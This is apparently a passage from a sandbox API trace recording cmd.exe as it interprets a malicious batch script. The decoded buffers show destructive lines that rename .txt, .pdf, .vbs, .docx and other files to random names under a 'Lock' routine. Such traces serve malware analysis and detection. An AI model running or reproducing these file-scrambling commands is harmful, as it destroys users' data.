lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0039.022] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.022] GetFileType (hFile=0x74) returned 0x1 [0039.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0039.023] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=1218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0039.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0039.023] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0039.023] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.023] GetFileType (hFile=0x74) returned 0x1 [0039.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0039.023] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=1220, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0039.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.023] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0039.023] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.023] GetFileType (hFile=0x74) returned 0x1 [0039.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0039.023] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=1226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0039.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0039.024] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0039.024] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.024] GetFileType (hFile=0x74) returned 0x1 [0039.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0039.024] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=1228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0039.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0039.024] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0039.024] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.024] GetFileType (hFile=0x74) returned 0x1 [0039.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0039.024] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=1254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0039.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0039.024] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0039.025] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.025] GetFileType (hFile=0x74) returned 0x1 [0039.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0039.025] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=1265, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0039.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0039.025] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0039.025] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.025] GetFileType (hFile=0x74) returned 0x1 [0039.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0039.025] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=1267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0039.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.025] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0039.026] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.026] GetFileType (hFile=0x74) returned 0x1 [0039.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0039.026] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=1273, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0039.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0039.026] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0039.026] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.026] GetFileType (hFile=0x74) returned 0x1 [0039.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0039.026] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=1275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0039.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0039.026] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0039.026] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.026] GetFileType (hFile=0x74) returned 0x1 [0039.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0039.027] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=1301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0039.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0039.027] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0039.027] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.027] GetFileType (hFile=0x74) returned 0x1 [0039.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0039.027] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=1312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0039.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0039.027] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0039.027] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.027] GetFileType (hFile=0x74) returned 0x1 [0039.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0039.028] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=1314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0039.028] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.028] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0039.028] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.028] GetFileType (hFile=0x74) returned 0x1 [0039.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0039.028] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0039.028] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0039.028] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0039.028] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.028] GetFileType (hFile=0x74) returned 0x1 [0039.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0039.029] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0039.029] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0039.029] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0039.029] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.029] GetFileType (hFile=0x74) returned 0x1 [0039.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0039.029] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=1348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0039.029] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0039.029] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0039.029] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.029] GetFileType (hFile=0x74) returned 0x1 [0039.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0039.029] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=1359, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0039.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0039.030] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0039.030] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.030] GetFileType (hFile=0x74) returned 0x1 [0039.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0039.030] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=1361, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0039.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.030] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0039.030] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.030] GetFileType (hFile=0x74) returned 0x1 [0039.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0039.030] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=1367, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0039.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0039.031] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0039.031] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.031] GetFileType (hFile=0x74) returned 0x1 [0039.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0039.031] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=1369, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0039.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0039.031] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0039.031] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.031] GetFileType (hFile=0x74) returned 0x1 [0039.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0039.031] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=1395, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0039.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0039.031] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0039.032] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.032] GetFileType (hFile=0x74) returned 0x1 [0039.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0039.032] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=1406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0039.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0039.032] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0039.032] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.032] GetFileType (hFile=0x74) returned 0x1 [0039.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0039.032] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=1408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0039.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.032] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0039.033] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.033] GetFileType (hFile=0x74) returned 0x1 [0039.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0039.033] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=1415, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0039.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0039.033] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0039.033] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.033] GetFileType (hFile=0x74) returned 0x1 [0039.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, 